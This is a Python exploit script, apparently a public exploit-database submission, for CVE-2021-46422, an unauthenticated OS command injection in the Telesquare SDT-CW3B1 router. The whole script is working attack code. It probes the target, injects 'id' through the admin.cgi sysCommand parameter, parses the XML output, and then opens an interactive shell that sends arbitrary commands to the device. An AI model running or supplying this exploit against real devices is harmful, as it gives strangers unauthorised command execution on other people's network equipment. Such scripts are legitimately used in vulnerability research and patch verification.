#!/usr/bin/python3 

# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No

import requests 
import argparse 
import sys
from xml.etree import ElementTree

def sysArgument():
  ap = argparse.ArgumentParser()
  ap.add_argument("--host", required=True, help="target hostname/IP")  
  args = vars(ap.parse_args())
  return args['host']

def checkHost(host):
  url = "http://" + host

  print("[*] Checking host is it alive?")

  try:
    rsl = requests.get(url) 
    print("[*] The host is alive.")
  except requests.exceptions.Timeout as err:
    raise SystemExit(err)

def exploit(host):
  url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=" 

  #checking does the CGI exists?
  rsl = requests.get(url)

  if(rsl.status_code == 200):
    print("[*] CGI script exist!")
    print("[*] Injecting some shell command.")

    #1st test injecting id command
    cmd = "id"

    try:
      rsl = requests.get(url + cmd, stream=True)
      xmlparser = ElementTree.iterparse(rsl.raw)

      cmdRet = []

      for event, elem in xmlparser:
        if(elem.tag == 'CmdResult'):
          cmdRet.append(elem.text)
    except:
      print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
      sys.exit(0)

    if(len(cmdRet) != 0):
      print("[*] There's response from the CGI script!")
      print('[*] System ID: ' + cmdRet[0].strip())
      
      print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
      #start shell iteration
      while(True):
        cmdInput = input("[SDT-CW3B1 Shell]# ")

        if(cmdInput == ".exit"):
          print("[*] Exiting shell.")
          sys.exit(0)

        rsl = requests.get(url + cmdInput, stream=True)
        xmlparser = ElementTree.iterparse(rsl.raw)


        for event, elem in xmlparser:
          if(elem.tag == 'CmdResult'):
            print(elem.text.strip())

        print('\n')
        
    else:
      print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
      sys.exit(0)

  else:
    print("[!] CGI script not found.")
    print(rsl.status_code)
    sys.exit(0)

def main():
  host = sysArgument()

  checkHost(host)
  exploit(host)

if  __name__ == "__main__":
  main()